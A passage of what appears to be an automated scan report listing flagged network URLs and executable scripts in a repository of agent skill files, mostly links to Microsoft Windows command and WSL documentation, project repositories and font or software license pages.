    - [san](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/san)
  • Network accessline 678
    - [sc config](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/sc-config)
  • Network accessline 679
    - [sc create](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/sc-create)
  • Network accessline 680
    - [sc delete](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/sc-delete)
  • Network accessline 681
    - [sc query](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/sc-query)
  • Network accessline 682
    - [schtasks](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks)
  • Network accessline 683
    - [scwcmd](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/scwcmd)
  • Network accessline 684
    - [scwcmd analyze](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/scwcmd-analyze)
  • Network accessline 685
    - [scwcmd configure](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/scwcmd-configure)
  • Network accessline 686
    - [scwcmd register](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/scwcmd-register)
  • Network accessline 687
    - [scwcmd rollback](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/scwcmd-rollback)
  • Network accessline 688
    - [scwcmd transform](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/scwcmd-transform)
  • Network accessline 689
    - [scwcmd view](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/scwcmd-view)
  • Network accessline 690
    - [secedit](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/secedit)
  • Network accessline 691
    - [secedit analyze](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/secedit-analyze)
  • Network accessline 692
    - [secedit configure](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/secedit-configure)
  • Network accessline 693
    - [secedit export](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/secedit-export)
  • Network accessline 694
    - [secedit generaterollback](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/secedit-generaterollback)
  • Network accessline 695
    - [secedit import](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/secedit-import)
  • Network accessline 696
    - [secedit validate](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/secedit-validate)
  • Network accessline 697
    - [select](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/select)
  • Network accessline 698
    - [select disk](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/select-disk)
  • Network accessline 699
    - [select partition](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/select-partition)
  • Network accessline 700
    - [select vdisk](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/select-vdisk)
  • Network accessline 701
    - [select volume](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/select-volume)
  • Network accessline 702
    - [serverceipoptin](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/serverceipoptin)
  • Network accessline 703
    - [servermanagercmd](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/servermanagercmd)
  • Network accessline 704
    - [serverweroptin](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/serverweroptin)
  • Network accessline 705
    - [set (environment variables)](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/set_1)
  • Network accessline 706
    - [set (shadow copy)](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/set)
  • Network accessline 707
    - [set context](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/set-context)
  • Network accessline 708
    - [set id](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/set-id)
  • Network accessline 709
    - [set metadata](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/set-metadata)
  • Network accessline 710
    - [set option](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/set-option)
  • Network accessline 711
    - [set verbose](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/set-verbose)
  • Network accessline 712
    - [setlocal](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/setlocal)
  • Network accessline 713
    - [setspn](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/setspn)
  • Network accessline 714
    - [setx](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/setx)
  • Network accessline 715
    - [sfc](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/sfc)
  • Network accessline 716
    - [shadow](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/shadow)
  • Network accessline 717
    - [shift](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/shift)
  • Network accessline 718
    - [showmount](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/showmount)
  • Network accessline 719
    - [shrink](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/shrink)
  • Network accessline 720
    - [shutdown](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/shutdown)
  • Network accessline 721
    - [simulate restore](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/simulate-restore)
  • Network accessline 722
    - [sort](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/sort)
  • Network accessline 723
    - [start](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/start)
  • Network accessline 724
    - [subst](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/subst)
  • Network accessline 725
    - [sxstrace](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/sxstrace)
  • Network accessline 726
    - [sysmon](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/sysmon)
  • Network accessline 727
    - [sysocmgr](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/sysocmgr)
  • Network accessline 728
    - [systeminfo](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/systeminfo)
  • Network accessline 732
    - [set device](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wdsutil-set-device)
  • Network accessline 733
    - [set drivergroup](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wdsutil-set-drivergroup)
  • Network accessline 734
    - [set drivergroupfilter](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wdsutil-set-drivergroupfilter)
  • Network accessline 735
    - [set driverpackage](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wdsutil-set-driverpackage)
  • Network accessline 736
    - [set image](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wdsutil-set-image)
  • Network accessline 737
    - [set imagegroup](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wdsutil-set-imagegroup)
  • Network accessline 738
    - [set server](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wdsutil-set-server)
  • Network accessline 739
    - [set transportserver](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wdsutil-set-transportserver)
  • Network accessline 740
    - [start multicasttransmission](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wdsutil-start-multicasttransmission)
  • Network accessline 741
    - [start namespace](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wdsutil-start-namespace)
  • Network accessline 742
    - [start server](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wdsutil-start-server)
  • Network accessline 743
    - [start transportserver](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wdsutil-start-transportserver)
  • Network accessline 744
    - [stop server](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wdsutil-stop-server)
  • Network accessline 745
    - [stop transportserver](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wdsutil-stop-transportserver)
  • Network accessline 749
    - [takeown](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/takeown)
  • Network accessline 750
    - [tapicfg](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/tapicfg)
  • Network accessline 751
    - [taskkill](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/taskkill)
  • Network accessline 752
    - [tasklist](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/tasklist)
  • Network accessline 753
    - [tcmsetup](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/tcmsetup)
  • Network accessline 754
    - [telnet](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/telnet)
  • Network accessline 755
    - [telnet close](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/telnet-close)
  • Network accessline 756
    - [telnet display](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/telnet-display)
  • Network accessline 757
    - [telnet open](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/telnet-open)
  • Network accessline 758
    - [telnet quit](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/telnet-quit)
  • Network accessline 759
    - [telnet send](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/telnet-send)
  • Network accessline 760
    - [telnet set](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/telnet-set)
  • Network accessline 761
    - [telnet status](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/telnet-status)
  • Network accessline 762
    - [telnet unset](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/telnet-unset)
  • Network accessline 763
    - [tftp](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/tftp)
  • Network accessline 764
    - [time](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/time)
  • Network accessline 765
    - [timeout](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/timeout)
  • Network accessline 766
    - [title](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/title)
  • Network accessline 767
    - [tlntadmn](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/tlntadmn)
  • Network accessline 768
    - [tpmtool](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/tpmtool)
  • Network accessline 769
    - [tpmvscmgr](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/tpmvscmgr)
  • Network accessline 770
    - [tracerpt](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/tracerpt)
  • Network accessline 771
    - [tracert](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/tracert)
  • Network accessline 772
    - [tree](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/tree)
  • Network accessline 773
    - [tscon](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/tscon)
  • Network accessline 774
    - [tsdiscon](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/tsdiscon)
  • Network accessline 775
    - [tsecimp](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/tsecimp)
  • Network accessline 776
    - [tskill](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/tskill)
  • Network accessline 777
    - [tsprof](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/tsprof)
  • Network accessline 778
    - [type](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/type)
  • Network accessline 779
    - [typeperf](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/typeperf)
  • Network accessline 780
    - [tzutil](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/tzutil)
  • Network accessline 784
    - [unexpose](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/unexpose)
  • Network accessline 785
    - [uniqueid](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/uniqueid)
  • Network accessline 786
    - [unlodctr](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/unlodctr)
  • Network accessline 787
    - [ver](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ver)
  • Network accessline 788
    - [verifier](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/verifier)
  • Network accessline 789
    - [verify](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/verify)
  • Network accessline 790
    - [vol](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/vol)
  • Network accessline 791
    - [vssadmin](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/vssadmin)
  • Network accessline 792
    - [vssadmin delete shadows](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/vssadmin-delete-shadows)
  • Network accessline 793
    - [vssadmin list shadows](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/vssadmin-list-shadows)
  • Network accessline 794
    - [vssadmin list writers](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/vssadmin-list-writers)
  • Network accessline 795
    - [vssadmin resize shadowstorage](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/vssadmin-resize-shadowstorage)
  • Network accessline 799
    - [waitfor](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/waitfor)
  • Network accessline 800
    - [wbadmin](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wbadmin)
  • Network accessline 801
    - [wbadmin delete catalog](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wbadmin-delete-catalog)
  • Network accessline 802
    - [wbadmin delete systemstatebackup](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wbadmin-delete-systemstatebackup)
  • Network accessline 803
    - [wbadmin disable backup](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wbadmin-disable-backup)
  • Network accessline 804
    - [wbadmin enable backup](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wbadmin-enable-backup)
  • Network accessline 805
    - [wbadmin get disks](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wbadmin-get-disks)
  • Network accessline 806
    - [wbadmin get items](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wbadmin-get-items)
  • Network accessline 807
    - [wbadmin get status](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wbadmin-get-status)
  • Network accessline 808
    - [wbadmin get versions](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wbadmin-get-versions)
  • Network accessline 809
    - [wbadmin restore catalog](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wbadmin-restore-catalog)
  • Network accessline 810
    - [wbadmin start backup](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wbadmin-start-backup)
  • Network accessline 811
    - [wbadmin start recovery](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wbadmin-start-recovery)
  • Network accessline 812
    - [wbadmin start sysrecovery](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wbadmin-start-sysrecovery)
  • Network accessline 813
    - [wbadmin start systemstatebackup](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wbadmin-start-systemstatebackup)
  • Network accessline 814
    - [wbadmin start systemstaterecovery](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wbadmin-start-systemstaterecovery)
  • Network accessline 815
    - [wbadmin stop job](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wbadmin-stop-job)
  • Network accessline 816
    - [wdsutil](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wdsutil)
  • Network accessline 817
    - [wecutil](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wecutil)
  • Network accessline 818
    - [wevtutil](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wevtutil)
  • Network accessline 819
    - [where](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/where)
  • Network accessline 820
    - [whoami](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/whoami)
  • Network accessline 821
    - [winnt](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/winnt)
  • Network accessline 822
    - [winnt32](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/winnt32)
  • Network accessline 823
    - [winrs](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/winrs)
  • Network accessline 824
    - [winsat mem](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/winsat-mem)
  • Network accessline 825
    - [winsat mfmedia](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/winsat-mfmedia)
  • Network accessline 826
    - [wmic](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wmic)
  • Network accessline 827
    - [writer](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/writer)
  • Network accessline 828
    - [wscript](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wscript)
  • Network accessline 832
    - [xcopy](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/xcopy)

harness/claude-code/skills/batch-files/references/windows-subsystem-on-linux.md

  • Network accessline 5
    - [WSL Home](https://learn.microsoft.com/en-us/windows/wsl/)
  • Network accessline 6
    - [What is the Windows Subsystem for Linux (WSL)?](https://learn.microsoft.com/en-us/windows/wsl/about)
  • Network accessline 7
    - [Install WSL](https://learn.microsoft.com/en-us/windows/wsl/install)
  • Network accessline 8
    - [Install Linux on Windows Server](https://learn.microsoft.com/en-us/windows/wsl/install-on-server)
  • Network accessline 9
    - [Manual install steps](https://learn.microsoft.com/en-us/windows/wsl/install-manual)
  • Network accessline 10
    - [Best practices for setting up a WSL development environment](https://learn.microsoft.com/en-us/windows/wsl/setup/environment)
  • Network accessline 11
    - [Comparing WSL 1 and WSL 2](https://learn.microsoft.com/en-us/windows/wsl/compare-versions)
  • Network accessline 12
    - [What's new with WSL 2?](https://learn.microsoft.com/en-us/windows/wsl/compare-versions#whats-new-in-wsl-2)
  • Network accessline 13
    - [Frequently Asked Questions](https://learn.microsoft.com/en-us/windows/wsl/faq)
  • Network accessline 14
    - [Windows Subsystem for Linux is now open source](https://blogs.windows.com/windowsdeveloper/2025/05/19/the-windows-subsystem-for-linux-is-now-open-source/)
  • Network accessline 18
    - [Microsoft PowerToys](https://learn.microsoft.com/en-us/windows/powertoys/)
  • Network accessline 19
    - [Windows Package Manager](https://learn.microsoft.com/en-us/windows/package-manager/)
  • Network accessline 20
    - [Windows Insiders Program](https://insider.windows.com/getting-started)
  • Network accessline 24
    - [Overview post with a collection of videos and blogs](https://devblogs.microsoft.com/commandline/learn-about-windows-console-and-windows-subsystem-for-linux-wsl/)
  • Network accessline 25
    - [Command-Line blog](https://devblogs.microsoft.com/commandline/)
  • Network accessline 26
    - [Windows Subsystem for Linux Blog](https://learn.microsoft.com/en-us/archive/blogs/wsl/)
  • Network accessline 27
    - [GitHub issue tracker: WSL](https://github.com/microsoft/WSL/issues)
  • Network accessline 28
    - [GitHub issue tracker: WSL documentation](https://github.com/MicrosoftDocs/WSL/issues)
  • Network accessline 34
    - [Building and testing WSL](https://wsl.dev/dev-loop/)
  • Network accessline 35
    - [Debugging WSL](https://wsl.dev/debugging/)
  • Network accessline 39
    - [Overview](https://wsl.dev/technical-documentation/)
  • Network accessline 40
    - [wsl.exe](https://wsl.dev/technical-documentation/wsl.exe/)
  • Network accessline 41
    - [wslg.exe](https://wsl.dev/technical-documentation/wslg.exe/)
  • Network accessline 42
    - [wslconfig.exe](https://wsl.dev/technical-documentation/wslconfig.exe/)
  • Network accessline 43
    - [wslhost.exe](https://wsl.dev/technical-documentation/wslhost.exe/)
  • Network accessline 44
    - [wslrelay.exe](https://wsl.dev/technical-documentation/wslrelay.exe/)
  • Network accessline 45
    - [wslservice.exe](https://wsl.dev/technical-documentation/wslservice.exe/)
  • Network accessline 49
    - [mini_init](https://wsl.dev/technical-documentation/mini_init/)
  • Network accessline 50
    - [init](https://wsl.dev/technical-documentation/init/)
  • Network accessline 51
    - [session leader](https://wsl.dev/technical-documentation/session-leader/)
  • Network accessline 52
    - [relay](https://wsl.dev/technical-documentation/relay/)
  • Network accessline 53
    - [gns](https://wsl.dev/technical-documentation/gns/)
  • Network accessline 54
    - [localhost](https://wsl.dev/technical-documentation/localhost/)
  • Network accessline 55
    - [plan9](https://wsl.dev/technical-documentation/plan9/)
  • Network accessline 59
    - [Boot process](https://wsl.dev/technical-documentation/boot-process/)
  • Network accessline 60
    - [Interop](https://wsl.dev/technical-documentation/interop/)
  • Network accessline 61
    - [Drvfs & Plan9](https://wsl.dev/technical-documentation/drvfs/)
  • Network accessline 62
    - [Systemd](https://wsl.dev/technical-documentation/systemd/)

harness/claude-code/skills/brag-sheet/SKILL.md

  • Network accessline 203
    - [copilot-brag-sheet](https://github.com/microsoft/copilot-brag-sheet)

harness/claude-code/skills/bug-receipt/SKILL.md

  • Network accessline 116
    - [Original bug-receipt repository](https://github.com/lMysticl/bug-receipt)

harness/claude-code/skills/bug-receipt/references/receipt.schema.json

  • Network accessline 1
    {   "$schema": "https://json-schema.org/draft/2020-12/schema",
  • Network accessline 2
    "$schema": "https://json-schema.org/draft/2020-12/schema",
  • Network accessline 3
    "$id": "https://lmysticl.github.io/bug-receipt/receipt.schema.json",

harness/claude-code/skills/bug-receipt/scripts/validate-receipt.mjs

  • Executable scriptline 1
    Executable file

harness/claude-code/skills/bug-reproduction-brief/SKILL.md

  • Network accessline 116
    - [AI agent skill preview workflow](https://github.com/skyestrela/ai-agent-skill-preview.)

harness/claude-code/skills/build-evidence-map/references/map-schema.md

  • Network accessline 48
    "id": "source-1",       "title": "Source title",       "url": "https://example.com/source",
  • Network accessline 49
    "title": "Source title",       "url": "https://example.com/source",       "publisher": "Publisher",
  • Network accessline 50
    "url": "https://example.com/source",

harness/claude-code/skills/build-evidence-map/scripts/contract.mjs

  • Executable scriptline 1
    Executable file

harness/claude-code/skills/build-evidence-map/scripts/validate.mjs

  • Executable scriptline 1
    #!/usr/bin/env node

harness/claude-code/skills/canvas-design/LICENSE.txt

  • Network accessline 2
    Apache License                            Version 2.0, January 2004                         http://www.apache.org/licenses/
  • Network accessline 4
    http://www.apache.org/licenses/
  • Network accessline 196
    http://www.apache.org/licenses/LICENSE-2.0

harness/claude-code/skills/canvas-design/canvas-fonts/ArsenalSC-OFL.txt

  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

harness/claude-code/skills/canvas-design/canvas-fonts/BigShoulders-OFL.txt

  • Network accessline 1
    Copyright 2019 The Big Shoulders Project Authors (https://github.com/xotypeco/big_shoulders)
  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

harness/claude-code/skills/canvas-design/canvas-fonts/Boldonse-OFL.txt

  • Network accessline 1
    Copyright 2024 The Boldonse Project Authors (https://github.com/googlefonts/boldonse)
  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

harness/claude-code/skills/canvas-design/canvas-fonts/BricolageGrotesque-OFL.txt

  • Network accessline 1
    Copyright 2022 The Bricolage Grotesque Project Authors (https://github.com/ateliertriay/bricolage)
  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

harness/claude-code/skills/canvas-design/canvas-fonts/CrimsonPro-OFL.txt

  • Network accessline 1
    Copyright 2018 The Crimson Pro Project Authors (https://github.com/Fonthausen/CrimsonPro)
  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

harness/claude-code/skills/canvas-design/canvas-fonts/DMMono-OFL.txt

  • Network accessline 1
    Copyright 2020 The DM Mono Project Authors (https://www.github.com/googlefonts/dm-mono)
  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

harness/claude-code/skills/canvas-design/canvas-fonts/EricaOne-OFL.txt

  • Network accessline 4
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 6
    https://openfontlicense.org

harness/claude-code/skills/canvas-design/canvas-fonts/GeistMono-OFL.txt

  • Network accessline 1
    Copyright 2024 The Geist Project Authors (https://github.com/vercel/geist-font.git)
  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

harness/claude-code/skills/canvas-design/canvas-fonts/Gloock-OFL.txt

  • Network accessline 1
    Copyright 2022 The Gloock Project Authors (https://github.com/duartp/gloock)
  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

harness/claude-code/skills/canvas-design/canvas-fonts/IBMPlexMono-OFL.txt

  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

harness/claude-code/skills/canvas-design/canvas-fonts/InstrumentSans-OFL.txt

  • Network accessline 1
    Copyright 2022 The Instrument Sans Project Authors (https://github.com/Instrument/instrument-sans)
  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

harness/claude-code/skills/canvas-design/canvas-fonts/Italiana-OFL.txt

  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

harness/claude-code/skills/canvas-design/canvas-fonts/JetBrainsMono-OFL.txt

  • Network accessline 1
    Copyright 2020 The JetBrains Mono Project Authors (https://github.com/JetBrains/JetBrainsMono)
  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

harness/claude-code/skills/canvas-design/canvas-fonts/Jura-OFL.txt

  • Network accessline 1
    Copyright 2019 The Jura Project Authors (https://github.com/ossobuffo/jura)
  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

harness/claude-code/skills/canvas-design/canvas-fonts/LibreBaskerville-OFL.txt

  • Network accessline 1
    Copyright 2012 The Libre Baskerville Project Authors (https://github.com/impallari/Libre-Baskerville) with Reserved Font Name Libre Baskerville.
  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

harness/claude-code/skills/canvas-design/canvas-fonts/Lora-OFL.txt

  • Network accessline 1
    Copyright 2011 The Lora Project Authors (https://github.com/cyrealtype/Lora-Cyrillic), with Reserved Font Name "Lora".
  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

harness/claude-code/skills/canvas-design/canvas-fonts/NationalPark-OFL.txt

  • Network accessline 1
    Copyright 2025 The National Park Project Authors (https://github.com/benhoepner/National-Park)
  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

harness/claude-code/skills/canvas-design/canvas-fonts/NothingYouCouldDo-OFL.txt

  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

harness/claude-code/skills/canvas-design/canvas-fonts/Outfit-OFL.txt

  • Network accessline 1
    Copyright 2021 The Outfit Project Authors (https://github.com/Outfitio/Outfit-Fonts)
  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

harness/claude-code/skills/canvas-design/canvas-fonts/PixelifySans-OFL.txt

  • Network accessline 1
    Copyright 2021 The Pixelify Sans Project Authors (https://github.com/eifetx/Pixelify-Sans)
  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

harness/claude-code/skills/canvas-design/canvas-fonts/PoiretOne-OFL.txt

  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

harness/claude-code/skills/canvas-design/canvas-fonts/RedHatMono-OFL.txt

  • Network accessline 1
    Copyright 2024 The Red Hat Project Authors (https://github.com/RedHatOfficial/RedHatFont)
  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

harness/claude-code/skills/canvas-design/canvas-fonts/Silkscreen-OFL.txt

  • Network accessline 1
    Copyright 2001 The Silkscreen Project Authors (https://github.com/googlefonts/silkscreen)
  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

harness/claude-code/skills/canvas-design/canvas-fonts/SmoochSans-OFL.txt

  • Network accessline 1
    Copyright 2016 The Smooch Sans Project Authors (https://github.com/googlefonts/smooch-sans)
  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

harness/claude-code/skills/canvas-design/canvas-fonts/Tektur-OFL.txt

  • Network accessline 1
    Copyright 2023 The Tektur Project Authors (https://www.github.com/hyvyys/Tektur)
  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

harness/claude-code/skills/canvas-design/canvas-fonts/WorkSans-OFL.txt

  • Network accessline 1
    Copyright 2019 The Work Sans Project Authors (https://github.com/weiweihuanghuang/Work-Sans)
  • Network accessline 3
